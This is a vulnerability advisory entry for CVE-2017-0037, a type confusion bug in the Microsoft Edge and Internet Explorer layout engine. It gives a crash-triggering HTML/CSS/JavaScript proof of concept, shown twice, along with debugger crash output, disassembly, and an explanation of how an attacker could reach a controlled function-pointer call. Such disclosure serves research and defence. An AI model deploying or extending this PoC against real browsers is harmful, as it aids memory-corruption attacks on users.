Microsoft Edge and IE: Type confusion in HandleColumnBreakOnColumnSpanningElement (CVE-2017-0037)

2017-02-26T00:00:00
ID SSV:92719
Type seebug
Reporter Root
Modified 2017-02-26T00:00:00

Description

PoC: <!-- saved from url=(0014)about:internet --> <style> .class1 { float: left; column-count: 5; } .class2 { column-span: all; columns: 1px; } table {border-spacing: 0px;} </style> <script> function boom() { document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa"; th1.align = "right"; } </script> <body onload="setInterval(boom,100)"> <table cellspacing="0"> <tr class="class1"> <th id="th1" colspan="5" width=0></th> <th class="class2" width=0><div class="class2"></div></th>

Note: The analysis below is based on an 64-bit IE (running in single process mode) running on Windows Server 2012 R2. Microsoft Symbol Server has been down for several days and that's the only configuration for which I had up-to-date symbols. However Microsoft Edge and 32-bit IE 11 should behave similarly.

The PoC crashes in MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement when reading from address 0000007800000070 `` (5fc.8a4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4: 00007ffe8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=????????????????

With the following call stack:

Child-SP RetAddr Call Site 000000710e75b960 00007ffe8f3f1836 MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xa4 000000710e75b9c0 00007ffe8e9ba9df MSHTML!CBackgroundInfo::Property<CBackgroundImage>'::7'::dynamic atexit destructor for 'fieldDefaultValue''+0x641fc 000000710e75ba50 00007ffe8f05393f MSHTML!Layout::FlowBoxBuilder::MoveToNextPosition+0x1b5 000000710e75bb10 00007ffe8f0537e9 MSHTML!Layout::LayoutBuilder::EnterBlock+0x147 000000710e75bbb0 00007ffe8f278243 MSHTML!Layout::LayoutBuilder::Move+0x77 000000710e75bbe0 00007ffe8e9b364f MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x19d 000000710e75bcc0 00007ffe8e9b239c MSHTML!Layout::PageCollection::FormatPage+0x1f3 000000710e75be60 00007ffe8e9affd1 MSHTML!Layout::PageCollection::LayoutPagesCore+0x38c 000000710e75c030 00007ffe8e9b099b MSHTML!Layout::PageCollection::LayoutPages+0x102 000000710e75c090 00007ffe8e9aff45 MSHTML!CMarkupPageLayout::CalcPageLayoutSize+0x50b 000000710e75c220 00007ffe8ea74047 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0xd5 000000710e75c2f0 00007ffe8ea73c95 MSHTML!CMarkupPageLayout::DoLayout+0xf7 000000710e75c360 00007ffe8e98066d MSHTML!CView::ExecuteLayoutTasks+0x17c 000000710e75c3f0 00007ffe8e983b7a MSHTML!CView::EnsureView+0x43f 000000710e75c4d0 00007ffe8e97f82b MSHTML!CPaintController::EnsureView+0x58 000000710e75c500 00007ffe8ea2e47e MSHTML!CPaintBeat::OnBeat+0x41b 000000710e75c580 00007ffe8ea2e414 MSHTML!CPaintBeat::OnPaintTimer+0x5a 000000710e75c5b0 00007ffe8f2765dc MSHTML!CContainedTimerSink<CPaintBeat>::OnTimerMethodCall+0xdb 000000710e75c5e0 00007ffe8e969d52 MSHTML!GlobalWndOnPaintPriorityMethodCall+0x1f7 000000710e75c690 00007ffeafc13fe0 MSHTML!GlobalWndProc+0x1b8 000000710e75c710 00007ffeafc13af2 USER32!UserCallWinProcCheckWow+0x1be 000000710e75c7e0 00007ffeafc13bbe USER32!DispatchClientMessage+0xa2 000000710e75c840 00007ffeb2352524 USER32!_fnDWORD+0x3e 000000710e75c8a0 00007ffeafc1cfaa ntdll!KiUserCallbackDispatcherContinue 000000710e75c928 00007ffeafc1cfbc USER32!ZwUserDispatchMessage+0xa 000000710e75c930 00007ffe95d1bb28 USER32!DispatchMessageWorker+0x2ac 000000710e75c9b0 00007ffe95d324cb IEFRAME!CTabWindow::_TabWindowThreadProc+0x555 000000710e75fc30 00007ffeaa81572f IEFRAME!LCIETab_ThreadProc+0x3a3 000000710e75fd60 00007ffe9594925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f 000000710e75fd90 00007ffeb1d313d2 IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f 000000710e75fde0 00007ffeb22d54e4 KERNEL32!BaseThreadInitThunk+0x22 000000710e75fe10 00000000`00000000 ntdll!RtlUserThreadStart+0x34 ``` And the following register values:

rax=0000007800000070 rbx=0000000000000064 rcx=0000007800000050 rdx=0000000000000048 rsi=00000079164a8f01 rdi=00007ffe8f9f81b0 rip=00007ffe8f330a59 rsp=000000710e75b960 rbp=0000007916492fe8 r8=0000007916490ec0 r9=000000710e75b980 r10=00000079164a8f30 r11=000000710e75b928 r12=000000710e75c000 r13=0000007916450fc8 r14=000000791648ec60 r15=0000007911ec9f50

Edge should crash when reading the same address while 32-bit IE tab process should crash in the same place but when reading a lower address.

Let's take a look at the code around the rip of the crash. 00007ffe`8f330a51 488bcd mov rcx,rbp 00007ffe`8f330a54 e8873c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a59 48833800 cmp qword ptr [rax],0 ds:00000078`00000070=???????????????? 00007ffe`8f330a5d 743d je MSHTML!Layout::MultiColumnBoxBuilder::HandleColumnBreakOnColumnSpanningElement+0xe7 (00007ffe`8f330a9c) 00007ffe`8f330a5f 488bcd mov rcx,rbp 00007ffe`8f330a62 e8793c64ff call MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable (00007ffe`8e9746e0) 00007ffe`8f330a67 488b30 mov rsi,qword ptr [rax] 00007ffe`8f330a6a 488b06 mov rax,qword ptr [rsi] 00007ffe`8f330a6d 488bb848030000 mov rdi,qword ptr [rax+348h] 00007ffe`8f330a74 488bcf mov rcx,rdi 00007ffe`8f330a77 ff155b95d700 call qword ptr [MSHTML!_guard_check_icall_fptr (00007ffe`900a9fd8)] 00007ffe`8f330a7d 488bce mov rcx,rsi 00007ffe`8f330a80 ffd7 call rdi

On 00007ffe`8f330a51 rxc is read from rbp and MSHTML!Layout::Patchable<Layout::PatchableArrayData<Layout::MultiColumnBox::SMultiColumnBoxItem> >::Readable is called which sets up rax. rcx is supposed to point to another object type, but in the PoC it points to an array of 32-bit integers allocated in Array<Math::SLayoutMeasure>::Create. This array stores offsets of table columns and the values can be controlled by an attacker (with some limitations).

On 00007ffe`8f330a59 the crash occurs because rax points to uninitialized memory.

However, an attacker can affect rax by modifying table properties such as border-spacing and the width of the firs th element. Let's see what happens if an attacker can point rax to the memory he/she controls.

Assuming an attacker can pass a check on line 00007ffe\`8f330a59, MSHTML!Layout::Patchable&lt;Layout::PatchableArrayData&lt;Layout::MultiColumnBox::SMultiColumnBoxItem&gt; &gt;::Readable is called again with the same arguments. After that, through a series of dereferences starting from rax, a function pointer is obtained and stored in rdi. A CFG check is made on that function pointer and, assuming it passes, the attacker-controlled function pointer is called on line 00007ffe`8f330a80.

                                        
                                            
                                                &lt;!-- saved from url=(0014)about:internet --&gt;
&lt;style&gt;
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
&lt;/style&gt;
&lt;script&gt;
function boom() {
  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
  th1.align = "right";
}
&lt;/script&gt;
&lt;body onload="setInterval(boom,100)"&gt;
&lt;table cellspacing="0"&gt;
&lt;tr class="class1"&gt;
&lt;th id="th1" colspan="5" width=0&gt;&lt;/th&gt;
&lt;th class="class2" width=0&gt;&lt;div class="class2"&gt;&lt;/div&gt;&lt;/th&gt;